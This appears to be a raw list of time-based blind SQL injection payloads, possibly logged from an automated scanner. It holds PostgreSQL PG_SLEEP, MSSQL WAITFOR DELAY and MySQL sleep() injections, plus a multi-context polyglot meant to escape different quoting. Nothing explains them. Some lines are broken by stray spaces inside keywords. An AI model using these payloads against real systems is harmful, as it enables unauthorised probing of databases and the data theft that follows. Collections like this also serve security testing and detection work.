555-1)) OR 83=(SELECT 83 FROM PG_SLEEP(15))--

555-1) OR 740=(SELECT 740 FROM PG_SLEEP(15))--

555-1 OR 493=(SELECT 493 FROM PG_SLEEP(15))--

555tBF4zCsV′

555-1 waitfor delay ′0:0:15′ --

555-1)

555-1

(select(0)from(select(sleep(15)))v)/*′+(sele ct(0)from(select(sleep(15)))v)+′"+(selec t(0)from(select(sleep(15)))v)+"*/